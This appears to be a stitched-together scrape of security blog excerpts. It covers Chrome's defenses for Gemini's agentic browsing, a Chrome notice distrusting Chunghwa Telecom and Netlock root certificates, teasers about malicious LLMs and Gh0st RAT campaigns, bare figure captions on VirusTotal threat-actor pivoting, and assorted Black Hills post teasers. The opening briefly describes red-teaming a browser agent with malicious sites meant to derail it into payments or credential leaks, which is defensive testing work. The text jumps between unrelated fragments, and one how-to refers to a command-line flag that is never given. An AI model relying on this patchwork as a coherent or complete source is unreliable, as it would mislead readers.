To validate the security of this set of layered defenses, we’ve built automated red-teaming systems to generate malicious sandboxed sites that try to derail the agent in Chrome. We start with a set of diverse attacks crafted by security researchers, and expand on them using LLMs following a technique we adapted for browser agents. Our continuous testing prioritizes defenses against broad-reach vectors such as user-generated content on social media sites and content delivered via ads. We also prioritize attacks that could lead to lasting harm, such as financial transactions or the leaking of sensitive credentials. The attack success rate across these give immediate feedback to any engineering changes we make, so we can prevent regressions and target improvements. Chrome’s auto-update capabilities allow us to get fixes out to users very quickly, so we can stay ahead of attackers.

Collaborating across the community

We have a long-standing commitment to working with the broader security research community to advance security together, and this includes agentic safety. We’ve updated our Vulnerability Rewards Program (VRP) guidelines to clarify how external researchers can focus on agentic capabilities in Chrome. We want to hear about any serious vulnerabilities in this system, and will pay up to $20,000 for those that demonstrate breaches in the security boundaries. The full details are available in VRP rules.

Looking forward

The upcoming introduction of agentic capabilities in Chrome brings new demands for browser security, and we've approached this challenge with the same rigor that has defined Chrome's security model from its inception. By extending some core principles like origin-isolation and layered defenses, and introducing a trusted-model architecture, we're building a secure foundation for Gemini’s agentic experiences in Chrome. This is an evolving space, and while we're proud of the initial protections we've implemented, we recognize that security for web agents is still an emerging domain. We remain committed to continuous innovation and collaboration with the security community to ensure Chrome users can explore this new era of the web safely.

The line between research tool and threat creation engine is thin. We examine the capabilities of WormGPT 4 and KawaiiGPT, two malicious LLMs.

The post The Dual-Use Dilemma of AI: Malicious LLMs appeared first on Unit 42.

Two campaigns delivering Gh0st RAT to Chinese speakers show a deep understanding of the target population's virtual environment and online behavior.

The post Digital Doppelgangers: Anatomy of Evolving Impersonation Campaigns Distributing Gh0st RAT appeared first on Unit 42.

Note: Google Chrome communicated its removal of default trust of Chunghwa Telecom and Netlock in the public forum on May 30, 2025.

The Chrome Root Program Policy states that Certification Authority (CA) certificates included in the Chrome Root Store must provide value to Chrome end users that exceeds the risk of their continued inclusion. It also describes many of the factors we consider significant when CA Owners disclose and respond to incidents. When things don’t go right, we expect CA Owners to commit to meaningful and demonstrable change resulting in evidenced continuous improvement.

Chrome's confidence in the reliability of Chunghwa Telecom and Netlock as CA Owners included in the Chrome Root Store has diminished due to patterns of concerning behavior observed over the past year. These patterns represent a loss of integrity and fall short of expectations, eroding trust in these CA Owners as publicly-trusted certificate issuers trusted by default in Chrome. To safeguard Chrome’s users, and preserve the integrity of the Chrome Root Store, we are taking the following action.

Upcoming change in Chrome 139 and higher:

• Transport Layer Security (TLS) server authentication certificates validating to the following root CA certificates whose earliest Signed Certificate Timestamp (SCT) is dated after July 31, 2025 11:59:59 PM UTC, will no longer be trusted by default.
• OU=ePKI Root Certification Authority,O=Chunghwa Telecom Co., Ltd.,C=TW
• CN=HiPKI Root CA - G1,O=Chunghwa Telecom Co., Ltd.,C=TW
• CN=NetLock Arany (Class Gold) Főtanúsítvány,OU=Tanúsítványkiadók (Certification Services),O=NetLock Kft.,L=Budapest,C=HU
• TLS server authentication certificates validating to the above set of roots whose earliest SCT is on or before July 31, 2025 11:59:59 PM UTC, will be unaffected by this change.

This approach attempts to minimize disruption to existing subscribers using a previously announced Chrome feature to remove default trust based on the SCTs in certificates.

Additionally, should a Chrome user or enterprise explicitly trust any of the above certificates on a platform and version of Chrome relying on the Chrome Root Store (e.g., explicit trust is conveyed through a Group Policy Object on Windows), the SCT-based constraints described above will be overridden and certificates will function as they do today.

To further minimize risk of disruption, website operators are encouraged to review the “Frequently Asked Questions" listed below.

Why is Chrome taking action?

CAs serve a privileged and trusted role on the internet that underpin encrypted connections between browsers and websites. With this tremendous responsibility comes an expectation of adhering to reasonable and consensus-driven security and compliance expectations, including those defined by the CA/Browser Forum TLS Baseline Requirements.

Over the past several months and years, we have observed a pattern of compliance failures, unmet improvement commitments, and the absence of tangible, measurable progress in response to publicly disclosed incident reports. When these factors are considered in aggregate and considered against the inherent risk each publicly-trusted CA poses to the internet, continued public trust is no longer justified.

When will this action happen?

The action of Chrome, by default, no longer trusting new TLS certificates issued by these CAs will begin on approximately August 1, 2025, affecting certificates issued at that point or later.

This action will occur in Versions of Chrome 139 and greater on Windows, macOS, ChromeOS, Android, and Linux. Apple policies prevent the Chrome Certificate Verifier and corresponding Chrome Root Store from being used on Chrome for iOS.

What is the user impact of this action?

By default, Chrome users in the above populations who navigate to a website serving a certificate from Chunghwa Telecom or Netlock issued after July 31, 2025 will see a full page interstitial similar to this one.

Certificates issued by other CAs are not impacted by this action.

How can a website operator tell if their website is affected?

Website operators can determine if they are affected by this action by using the Chrome Certificate Viewer.

Use the Chrome Certificate Viewer

• Navigate to a website (e.g., https://www.google.com)
• Click the “Tune" icon
• Click “Connection is Secure"
• Click “Certificate is Valid" (the Chrome Certificate Viewer will open)
• Website owner action is not required, if the “Organization (O)” field listed beneath the “Issued By" heading does not contain “Chunghwa Telecom" , “行政院” , “NETLOCK Ltd.”, or “NETLOCK Kft.”
• Website owner action is required, if the “Organization (O)” field listed beneath the “Issued By" heading contains “Chunghwa Telecom" , “行政院” , “NETLOCK Ltd.”, or “NETLOCK Kft.”

What does an affected website operator do?

We recommend that affected website operators transition to a new publicly-trusted CA Owner as soon as reasonably possible. To avoid adverse website user impact, action must be completed before the existing certificate(s) expire if expiry is planned to take place after July 31, 2025.

While website operators could delay the impact of blocking action by choosing to collect and install a new TLS certificate issued from Chunghwa Telecom or Netlock before Chrome’s blocking action begins on August 1, 2025, website operators will inevitably need to collect and install a new TLS certificate from one of the many other CAs included in the Chrome Root Store.

Can I test these changes before they take effect?

Yes.

A command-line flag was added beginning in Chrome 128 that allows administrators and power users to simulate the effect of an SCTNotAfter distrust constraint as described in this blog post.

How to: Simulate an SCTNotAfter distrust

1. Close all open versions of Chrome

2. Start Chrome using the following command-line flag, substituting variables described below with actual values

3. Evaluate the effects of the flag with test websites

Learn more about command-line flags here.

I use affected certificates for my internal enterprise network, do I need to do anything?

Beginning in Chrome 127, enterprises can override Chrome Root Store constraints like those described in this blog post by installing the corresponding root CA certificate as a locally-trusted root on the platform Chrome is running (e.g., installed in the Microsoft Certificate Store as a Trusted Root CA).

How do enterprises add a CA as locally-trusted?

Customer organizations should use this enterprise policy or defer to platform provider guidance for trusting root CA certificates.

What about other Google products?

Other Google product team updates may be made available in the future.

In traditional cybersecurity, the emphasis is often on technical defenses against attacks. However, understanding the psychological aspects of phishing is equally important to understand the exploitation of human vulnerability. 

Phishing attacks are becoming more sophisticated than ever in 2025, leveraging cutting-edge technology to deceive individuals and organizations. Here are the new and most prevalent trends to consider when defending against the number one cyber attack vector.

Hunting early

Figure 1: Stages of the kill chain categorized by their emphasis on threat hunting and detection engineering.

Figure 2: Document used by the SideWinder APT group

Figure 3: Relationships within the SideWinder APT group document

XML files generated by Microsoft Office

Office documents

Figure 4: Number of samples per actor within the scope

APT28 – Images

Figure 5: Images shared in multiple documents by APT28

Figure 6: Content of the images shared in multiple documents by APT28

Figure 7: Pivoting through a specific image used by APT28

SideWinder – Images

Figure 8: Images shared in multiple documents by RAZOR TIGER

Figure 9: Two different samples of RAZOR TIGER share the same image of a handwritten signature

Gamaredon – [Content_Types].xml and styles.xml

Figure 10: [Content_Types].xml shared in multiple documents by Gamaredon Group

Figure 11: Styles.xml shared in multiple documents by Gamaredon Group

Figure 12: Initial graph of the styles.xml and its parents used by Gamaredon (left). Final graph after identifying new styles.xml and their parents using retrohunt in VirusTotal (right)

Figure 13: Number of parent documents for a specific styles.xml file used by Gamaredon

Figure 14: Document used by Gamaredon in one of its campaigns that includes multiple images which can be used to monitor new samples

Figure 15: Pivoting through the Facebook image that included the document in Figure 14

Styles.xml shared between threat actors

Figure 16: styles.xml shared between different threat actors

[Content_Types].xml shared between threat actors

Figure 17: [Content_Types].xml shared between different threat actors

AI to the rescue

Figure 18: Results obtained with Gemini after processing some of the embedded images in the documents used by the threat actors

Figure 19: Results obtained with Gemini after processing some of the embedded images in the documents used by the threat actors

PDF Documents

Images dropped by Acrobat Reader

Figure 20: Content of a PDF file related to Blind Eagle threat actor

Figure 21: BMP file generated by the sandbox that can be used for pivoting

Figure 22: The content of a PDF file used by cybercrime actors

Figure 23: BMP file generated by the sandbox that can be used for pivoting, in this case having other 20 PDF with the same image

Images dropped by Acrobat Reader

Figure 24: BMP file generated by the sandbox that can be used for pivoting, another example of Blind Eagle threat actor

Figure 25: Artifact generated by the sandbox via Google Chrome when connecting to a domain

Figure 26: Flow of artifact generation related to Google Chrome that can be used for pivoting in VirusTotal

Email files

Campaign impersonating universities

Figure 27: Email impersonating a university that contains multiple images

Figure 28: Using the images from the email footer to pivot and identify new emails

Figure 29: Other emails identified through image pivoting techniques

Campaigns impersonating companies

Figure 30: Email impersonating a Chinese organization using the company logo in the footer

Figure 31: Other emails identified through image pivoting techniques

Wrapping up

APPENDIX

[Content_types].xml shared between threat actors

styles.xml shared between threat actors

| Nigel Douglas As a Developer Advocate working on Project Falco, Nigel Douglas plays a key role in driving education for the Open-Source Detection and Response (D&R) segment of cloud-native […]

The post Better Together: Real Time Threat Detection for Kubernetes with Atomic Red Tests & Falco appeared first on Black Hills Information Security, Inc..

The post Webcast: Coercions and Relays – The First Cred is the Deepest w/ Gabriel Prud’homme appeared first on Black Hills Information Security, Inc..

This webcast was originally given live on June 5th, 2019 by John Strand and the BHIS (card) Testers. How To Play! download and print a pdf version of “how to […]

The post Webcast: Introducing Backdoors & Breaches Incident Response Card Game appeared first on Black Hills Information Security, Inc..

Ethan Robish // In this series of posts, I’ll discuss how I segmented my home network using VLANs and how I moved away from using a risky consumer-grade router at […]

The post Home Network Design – Part 1 appeared first on Black Hills Information Security, Inc..

Kent Ickler // Referrer-Policy, What-What? Referrer-Policy is a security header that can (and should) be included on communication from your website’s server to a client. The Referrer-Policy tells the web browser […]

The post How To Fix a Missing Referrer-Policy on a Website appeared first on Black Hills Information Security, Inc..

Kent Ickler // Content-Security-Policy-What-What? Content-Security-Policy is a security header that can (and should) be included on communication from your website’s server to a client. When a user goes to your […]

The post How To Fix a Missing Content-Security-Policy on a Website appeared first on Black Hills Information Security, Inc..